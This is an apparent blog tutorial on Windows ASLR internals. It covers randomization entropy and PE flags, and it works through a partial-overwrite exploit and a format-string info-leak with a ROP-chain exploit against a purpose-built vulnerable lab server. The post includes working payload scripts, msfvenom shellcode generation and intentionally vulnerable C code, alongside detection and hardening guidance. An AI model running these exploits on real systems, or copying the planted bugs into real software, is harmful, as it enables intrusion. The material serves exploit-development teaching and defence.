ASLR Internals: Randomization Scope, Entropy, and Weak Implementations

By Debraj Basak·Sep 7, 2026·16 min readExploit Development

You’ve got a clean stack overflow and full EIP control. On XP that was the end of the story. On a modern Windows box it’s the start of one, because the address you want to jump to moved when the process booted, and you don’t know where it went. ASLR is the reason your hardcoded JMP ESP from 2008 now lands you in unmapped memory and a silent crash. Understanding exactly what moved, how far it can move, and what didn’t move at all is the difference between a working exploit and a WER crash dump.

Objective: Understand how Windows ASLR is seeded and applied (LFG RNG, PE opt-in flags, per-region entropy), identify strong versus weak ASLR in a target binary, and execute a structured bypass (partial overwrite and info-leak plus ROP) against a purpose-built 32-bit lab server.


1. What ASLR Actually Defends Against

Address Space Layout Randomization does not fix memory corruption. A buffer overflow is still an overflow with ASLR on. What ASLR does is break the attacker’s assumption of where things live. It randomly arranges the positions of a process’s virtual memory areas: the executable image, stack, heap, data, and loaded libraries. If you cannot predict the address of your shellcode or of a useful gadget, you cannot reliably redirect control flow to it.

That is the whole game. ASLR raises the cost of turning corruption into execution. Every extra bit of entropy doubles the average number of attempts an attacker needs before a guess lands. It defends nothing on its own: pair it with DEP/NX (so injected data isn’t executable) and CFG (so indirect calls are validated), and the three together make code-reuse expensive. Defeat any one of them cheaply and the wall gets a lot shorter.

The two ways past ASLR that matter in practice: don’t need the random bits at all (partial overwrite), or steal them at runtime (information leak). Everything else is a variant of those.


2. The Windows ASLR RNG Pipeline

The randomness is generated early. During boot, winload.exe seeds a Lagged Fibonacci Generator (LFG) with parameters j = 24 and k = 55. The seed is mixed from several entropy sources so it isn’t predictable across boots:

Entropy sourceContribution
RDRAND CPU instructionHardware RNG where available
TPMPlatform-bound entropy
ACPI timingTimer jitter at boot
Registry seed keysPersisted per-install randomness

Inside the kernel, ExGenRandom() is the internal RNG interface that produces the values used to rebase images and offset allocations. It’s exposed to user mode through the wrapper RtlRandomEx(), which you can call yourself for pseudo-random numbers.

The critical architectural fact: most of this randomization is decided at boot, not per load. The base chosen for an image the first time it loads is reused for the life of that boot session. Reboot and the LFG reseeds, so bases shift. Stay up, and they’re frozen. Hold onto that, because §5 turns it into a weapon.


Flowchart showing how Windows ASLR entropy flows from hardware RNG sources into the Lagged Fibonacci Generator in winload.exe, through ExGenRandom in the kernel, to a single boot-time rebase shared across all processes
ASLR randomization is decided once at boot and shared globally – a single leaked address remains valid machine-wide until reboot.

3. PE Opt-In Mechanics

An image only gets randomized if it asks to. The request lives in IMAGE_OPTIONAL_HEADER.DllCharacteristics:

PE Header FlagHex ValueMeaning
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE0x0040Opts the image into ASLR rebasing
IMAGE_DLL_CHARACTERISTICS_HIGH_ENTROPY_VA0x0020Enables the full 64-bit VA space for ASLR

You set these at link time. /DYNAMICBASE has been the MSVC default since Vista and is required for ASLR to apply. /HIGHENTROPYVA widens the randomization to the entire 64-bit address space, but it only does anything alongside /DYNAMICBASE, and the linker ignores it entirely for 32-bit targets. No DYNAMIC_BASE bit, no rebasing: the image loads at its preferred ImageBase every single time.

Check any binary with dumpbin:

> dumpbin /headers aslr_server_strong.exe

  OPTIONAL HEADER VALUES
             10B magic # (PE32)
        00400000 image base
            8160 DLL characteristics
                   High Entropy Virtual Addresses
                   Dynamic base
                   NX compatible

The Dynamic base line is what you’re looking for. When it’s absent, that module is a fixed island in an otherwise randomized process, and one fixed island is usually enough (see §9).


4. Randomization Scope and Entropy Per Region

Not every region gets the same number of random bits. On Windows 10, measured entropy looks like this:

RegionWindows 10 entropy (bits)Practical meaning
Stack19~524,288 possible base positions
Heap24~16.7M positions (spray-resistant)
Libraries / images19~524,288 base positions on 64-bit

Those numbers are for 64-bit with high-entropy VA. Drop to a 32-bit process and the address space itself constrains you: there simply aren’t enough bits of usable virtual address to spend 19 on image bases. In practice 32-bit Windows randomizes only the upper portion of the image base, leaving roughly 8 bits of image-base entropy, on the order of 256 possible locations. That figure is the widely cited approximation and you should confirm it on your own build in WinDbg rather than trust it blindly, because it drifts across versions. Shacham et al. flagged this insufficient-entropy problem on 32-bit systems years ago, and it is exactly why the modern advice is “build 64-bit.”

The lesson for exploitation: heap entropy (24 bits) makes heap spray hopeless on 64-bit, but the low 32-bit image entropy keeps partial overwrites and brute force alive on legacy targets.


5. Shared DLL Base and Boot-Time Seeding

Here is the Windows-specific weakness that surprises people coming from Linux. When the kernel randomizes an image’s base, it does so once per boot, then shares that base with every process that loads the image. ntdll.dll sits at the same address in your process, my process, a service running as SYSTEM, and a process in another user’s session, until the machine reboots.

Prove it in WinDbg. Attach to two unrelated processes and list ntdll:

0:000> lm m ntdll
start    end        module name
77a10000 77bd8000   ntdll   (pdb symbols)

--- second process, same boot ---
0:000> lm m ntdll
start    end        module name
77a10000 77bd8000   ntdll   (pdb symbols)

Identical. This means a leak of any module base from one process (or a hardcoded address gathered during recon on the same boot) is valid across the whole box for that session. Only a reboot guarantees a fresh base for all images. For a networked target that stays up for weeks, “reboot to reseed” is a promise the defender rarely keeps.


6. Building the Lab Target

Everything below runs against aslr_lab_server.c, a minimal 32-bit Windows TCP server with two planted bugs: a strcpy stack overflow and a format-string flaw in its log path.

// aslr_lab_server.c - intentionally vulnerable lab target (Windows, 32-bit)
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

void log_request(const char *msg) {
    char line[256];
    _snprintf(line, sizeof(line), msg);   // format-string sink: %p leaks stack
    printf("[log] ");
    printf(line);                          // second attacker-controlled format
    printf("\n");
}

void handle(SOCKET c) {
    char buf[128];
    char recvbuf[512];
    int n = recv(c, recvbuf, sizeof(recvbuf) - 1, 0);
    if (n <= 0) return;
    recvbuf[n] = 0;

    if (!strncmp(recvbuf, "LOG", 3))
        log_request(recvbuf + 3);          // info-leak path
    else
        strcpy(buf, recvbuf);              // classic stack overflow, no bounds

    send(c, "OK\n", 3, 0);
}

int main(void) {
    WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
    SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in a = {0};
    a.sin_family = AF_INET;
    a.sin_addr.s_addr = INADDR_ANY;
    a.sin_port = htons(4444);
    bind(s, (struct sockaddr*)&a, sizeof(a));
    listen(s, 1);
    for (;;) { SOCKET c = accept(s, 0, 0); handle(c); closesocket(c); }
    return 0;
}

A legacy DLL provides the non-ASLR island:

// legacy_helper.c - compiled without /DYNAMICBASE on purpose
__declspec(dllexport) int helper_ping(int x) { return x + 1; }

Build three variants from an x86 Native Tools prompt:

:: Weak build (no ASLR, no NX) - for partial-overwrite intro
cl /GS- /DYNAMICBASE:NO /NXCOMPAT:NO aslr_lab_server.c /link /OUT:aslr_server_weak.exe

:: Strong build (ASLR + high entropy + NX) - for the info-leak exercise
cl /GS- /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT aslr_lab_server.c /link /OUT:aslr_server_strong.exe

:: Legacy DLL (no ASLR) - the fixed island
cl /LD /DYNAMICBASE:NO legacy_helper.c /link /OUT:legacy_helper.dll

/GS- disables stack cookies so we can focus on ASLR rather than fighting /GS. In a real assessment you’d keep the cookie and defeat it separately.


7. Exercise A – Partial Overwrite (32-bit)

The idea behind a partial overwrite: the saved return address on the stack already points into a loaded module. Only the upper bytes of that address are randomized; the lower two bytes are a page-aligned, deterministic offset within the module. Overwrite only those two low bytes and you redirect execution to another spot in the same ~64KB region, with zero knowledge of where the module was rebased. No leak required.

Step 1 – Recon. Attach WinDbg to the running legacy_helper.dll-linked server and confirm the region:

0:000> lm
0:000> !address 0x1b7a1000

Step 2 – Find the gadget. Locate a JMP ESP inside the module whose low bytes you want to reuse:

ROPgadget --binary legacy_helper.dll --only "jmp" | grep "jmp esp"
# 0x1b7a (low 16 bits are stable within a boot session)

Step 3 – Crash and find the offset. Send a cyclic pattern and read the value that lands in EIP:

msf-pattern_create -l 500
# send it, note the faulting EIP in WinDbg, then:
msf-pattern_offset -q 41336941
# [*] Exact match at offset 140

Step 4 – Generate shellcode that survives a null-free transport:

msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f py -v sc

Step 5 – Fire the partial overwrite. Only two bytes go over the saved return; the shellcode sits in the recv buffer that ESP points at after the pivot:

import socket

offset = 140
jmp_esp_low = b"\x7a\x1b"           # low 2 bytes of JMP ESP in legacy_helper.dll
nop_sled    = b"\x90" * 16
shellcode   = sc                    # from msfvenom above

payload = b"A" * offset + jmp_esp_low + nop_sled + shellcode

s = socket.socket()
s.connect(("192.168.56.20", 4444))
s.send(payload)
s.close()

Because you overwrote only the low 16 bits, the module’s random upper bytes stay intact and the jump resolves inside the real, loaded legacy_helper.dll. calc.exe pops. The randomization you never learned did not matter.


Flow diagram tracing the partial overwrite attack: a strcpy overflow writes only two low bytes of the saved return address, redirecting execution to a JMP ESP gadget in a fixed-base legacy DLL, which pivots control into attacker shellcode on the stack
Partial overwrite exploits the fact that only the upper bytes of a return address are randomized – no ASLR knowledge is needed to land inside a known module region.

8. Exercise B – Info-Leak to Full ASLR Defeat

Partial overwrite is limited by the 64KB window. When your gadgets live in an image with full 64-bit entropy, you need the real base. That is what the format-string bug is for. Leak a pointer, compute the slide, rebuild your ROP chain against the actual load address.

Step 1 – Leak. The LOG path feeds attacker input straight into printf. Ask for stack contents:

import socket, re, struct

s = socket.socket(); s.connect(("192.168.56.20", 4444))
s.send(b"LOG%p.%p.%p.%p.%p.%p")
resp = s.recv(1024).decode(errors="ignore")
print(resp)   # e.g. 0x00b2f7c4.0x0.0x40128a.0x...

One of those pointers falls inside the main image (here 0x0040128a, a return address into a known function). The value 0x40128a on a /DYNAMICBASE build is the rebased address of a code location whose static offset you already know.

Step 2 – Compute the slide. Read the preferred base from the PE header and subtract:

import pefile
pe = pefile.PE("aslr_server_strong.exe")
preferred_base = pe.OPTIONAL_HEADER.ImageBase   # e.g. 0x00400000

leaked_ret     = 0x0040128a
static_offset  = 0x0000128a       # offset of that ret site, found in the disasm
image_base     = leaked_ret - static_offset
slide          = image_base - preferred_base
print(hex(image_base), hex(slide))

Now every static address in the image is static + slide.

Step 3 – Harvest gadgets.

ROPgadget --binary aslr_server_strong.exe --rop > gadgets.txt
grep "pop eax" gadgets.txt

Step 4 – Build the chain. NX is on, so you can’t just run shellcode off the stack. Flip permissions with VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, lpflOldProtect), then return into the shellcode. This is the classic stdcall-args-on-stack layout:

from pwn import p32

def r(off):                      # rebase a static offset to runtime
    return image_base + off

VirtualProtect = r(0x00003040)   # IAT thunk for VirtualProtect
shellcode_addr = 0x00b2f800      # recv buffer landing zone (also leakable)
writable       = r(0x00006000)   # any writable page for lpflOldProtect

rop  = b""
rop += p32(VirtualProtect)       # call VirtualProtect
rop += p32(shellcode_addr)       # return-to after VP: jump into shellcode
rop += p32(shellcode_addr)       # arg1 lpAddress
rop += p32(0x1000)               # arg2 dwSize
rop += p32(0x40)                 # arg3 PAGE_EXECUTE_READWRITE
rop += p32(writable)             # arg4 lpflOldProtect

VirtualAlloc() is the alternative when you’d rather stage into fresh RWX memory, and WriteProcessMemory() is the advanced route for copying shellcode into a known allocation. All three become callable the instant you have the slide.

Step 5 – Deliver.

offset  = 140
payload = b"A" * offset + rop + b"\x90" * 16 + sc
s = socket.socket(); s.connect(("192.168.56.20", 4444))
s.send(payload)

The overflow overwrites the saved return with the first gadget. VirtualProtect marks the stack executable, returns into the sled, and the shellcode runs at addresses you computed from a single leaked pointer. Full ASLR, defeated by one memory disclosure. That is why “just one info-leak bug” is treated as a critical finding.


Flow diagram showing how a format-string info leak yields a rebased code pointer, which is used to compute the ASLR slide, rebase a ROP chain to call VirtualProtect, and finally execute shellcode after a stack overflow delivers the chain
One format-string leak is enough to defeat full ASLR: compute the slide from a single pointer and every static offset in the image becomes a known runtime address.

9. Identifying Non-ASLR Modules

Before any of this, you want to know which modules in the target are fixed. Script the PE-header check:

# pe_check.py - flags DYNAMIC_BASE / HIGH_ENTROPY_VA / NX
import pefile, sys
pe = pefile.PE(sys.argv[1])
c = pe.OPTIONAL_HEADER.DllCharacteristics
print(f"DYNAMIC_BASE:    {'YES' if c & 0x0040 else 'NO'}")
print(f"HIGH_ENTROPY_VA: {'YES' if c & 0x0020 else 'NO'}")
print(f"NX_COMPAT:       {'YES' if c & 0x0100 else 'NO'}")

Inside a live process, the narly WinDbg extension enumerates every non-ASLR, non-SafeSEH module in one shot:

0:000> .load narly
0:000> !nmod
00400000 00412000 aslr_server   /DYNAMICBASE  /NXCOMPAT
1b7a0000 1b7a8000 legacy_helper  *** No ASLR ***  *** SEH ***

ASLR is only as strong as its weakest module. aslr_server_strong.exe can be perfectly randomized, but if legacy_helper.dll loads at a fixed address, every gadget in that DLL is at a known location and the whole protection collapses. One legacy DLL breaks ASLR for the entire process.


10. Common Attacker Techniques

TechniqueDescription
Partial overwriteOverwrite only the low 2 bytes of a saved return address; upper randomized bytes stay intact, so no ASLR knowledge is needed.
Information leakUse a format-string or out-of-bounds read to disclose a module address, compute the slide, then rebase a ROP chain.
Brute force (32-bit)Low image entropy (~8 bits) plus boot-frozen bases makes guessing a base feasible on a resilient 32-bit service.
Heap sprayFlood the heap with payload copies to raise the hit probability; only viable where heap entropy is weak (24 bits kills it on 64-bit).
Return-to-libc / return-to-PLTInvoke a needed function via its import/PLT entry instead of a raw randomized address.
Non-ASLR islandSource all gadgets from a module missing /DYNAMICBASE, sidestepping randomization entirely.

11. Defensive Strategies & Detection

Detection here is indirect. There is no single event that says “ASLR was bypassed.” You correlate the preconditions (a process loading a non-ASLR image) with the aftermath (crashes, injection, mitigation faults).

Sysmon and Event Log

Event IDRelevance
Sysmon Event 1 (Process Create)Capture Image; feed the path to pe_check.py to alert on non-ASLR binaries
Sysmon Event 8 (CreateRemoteThread)Post-bypass injection into another process
Sysmon Event 10 (ProcessAccess)Cross-process memory reads used for info-leak primitives
Sysmon Event 17/18 (Pipe)Post-exploitation C2 over named pipes

Be explicit about the gap: Sysmon does not expose PE DllCharacteristics natively. Event 1 gives you the image path only. To alert on missing /DYNAMICBASE you must enrich Event 1 out of band with a PE-header check, or use an EDR that performs that enrichment. Validate the exact field names against your deployed Sysmon schema.

title: Process Launched Without ASLR (DYNAMIC_BASE Missing)
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1   # Sysmon
  condition: selection
  # Post-processing: flag Image where pe_check reports DYNAMIC_BASE=NO
fields:
  - Image
  - CommandLine
  - ParentImage
falsepositives:
  - Legacy in-house applications not yet recompiled
level: medium
tags:
  - attack.defense_evasion
  - attack.t1211

ETW Providers

ProviderUse
Microsoft-Windows-Security-MitigationsMitigation events (channel .../KernelMode), including ASLR-related violations
Microsoft-Windows-Kernel-ProcessProcess creation with module-load context
Microsoft-Windows-WER-DiagnosticsCrash telemetry: repeated access violations at unmapped addresses signal failed bypass attempts

Exploit Protection (enforce ASLR the target didn’t ask for)

SettingPowerShell
Mandatory ASLR (force relocate)Set-ProcessMitigation -System -Enable ForceRelocateImages
Bottom-up ASLRSet-ProcessMitigation -System -Enable BottomUp
High-entropy ASLRSet-ProcessMitigation -System -Enable HighEntropy
Per-processSet-ProcessMitigation -Name target.exe -Enable ForceRelocateImages,BottomUp,HighEntropy

Mandatory ASLR (Windows 8+) forces even non-opted-in images to be rebased, which shuts down the non-ASLR island attack from §9. Bottom-up ASLR adds entropy to allocation placement and requires Mandatory ASLR to take effect. System-wide config lives at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\ under MitigationOptions.

Hardening checklist

  1. Recompile in-house binaries with /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT.
  2. Enable Mandatory ASLR and Bottom-up ASLR system-wide via Exploit Protection.
  3. Audit third-party DLLs with dumpbin /headers or pe_check.py; apply Force Relocate Images to cover legacy modules.
  4. Build 64-bit wherever possible: 32-bit entropy is structurally too low.
  5. Kill format-string and OOB-read bugs. One leak defeats ASLR completely.
  6. Deploy Control Flow Guard (/guard:cf) so a leaked base doesn’t hand over free ROP.
  7. Sandbox high-risk processes (browser, document readers).

A stone wall held together by steel bolts representing layered security mitigations, with one missing bolt causing visible cracks - illustrating that ASLR alone is insufficient without DEP and CFG
ASLR is one bolt in a layered wall – removing any single mitigation (DEP, CFG, Mandatory ASLR) opens cracks an attacker can drive through.

12. Tools for ASLR Analysis

ToolDescriptionLink
WinDbgInspect module bases (lm), regions (!address), verify shared bases across processeslearn.microsoft.com
narly (!nmod)WinDbg extension listing non-ASLR / non-SafeSEH modulesgithub.com
dumpbinRead DllCharacteristics and ImageBase from PE headerslearn.microsoft.com
pefileScriptable PE-header parsing for pe_check.py enrichmentgithub.com
PE-bear / CFF ExplorerGUI inspection of DLL characteristics flagsgithub.com
Process HackerLive module map and per-module ASLR statusprocesshacker.sourceforge.io
ROPgadgetGadget discovery for partial-overwrite and ROP chainsgithub.com
Metasploit pattern toolsmsf-pattern_create / msf-pattern_offset for offsetsmetasploit.com
msfvenomNull-free shellcode generationmetasploit.com
pwntoolsExploit automation and ROP scriptingpwntools.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203WER crash telemetry, Sysmon Event 1 anomalies
Exploit Public-Facing ApplicationT1190Network IDS on the vulnerable service, crash logs
Exploitation for Defense EvasionT1211Security-Mitigations ETW, repeated access violations
Process InjectionT1055Sysmon Event 8 / Event 10
System Information DiscoveryT1082Recon queries identifying 32-bit vs 64-bit, module flags
Exploit Protection (mitigation)M1050Enforce ASLR + DEP + Mandatory ASLR system-wide

ATT&CK has no dedicated sub-technique for “ASLR bypass.” Treat the bypass as a precondition enabling T1203/T1190, with T1211 covering the defense-evasion framing. Confirm against the current ATT&CK Navigator before you cite a sub-technique.


Summary

  • ASLR breaks address prediction, not memory corruption: it is one leg of a three-legged stool with DEP and CFG, and cheaply defeating any leg shortens the whole wall.
  • Randomization is seeded once at boot by an LFG in winload.exe, and Windows shares each image’s base across all processes until reboot, so a single leak can be valid machine-wide.
  • Entropy is uneven: 24 bits on the heap kills spray, but ~8 bits of 32-bit image entropy keeps partial overwrites and brute force alive.
  • Partial overwrite needs no ASLR knowledge; an info-leak plus slide computation defeats it entirely, which is why one format-string bug is a critical finding.
  • A single non-ASLR module (missing /DYNAMICBASE) breaks ASLR for the whole process; enforce Mandatory ASLR and enrich Sysmon Event 1 with PE-header checks to catch it.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.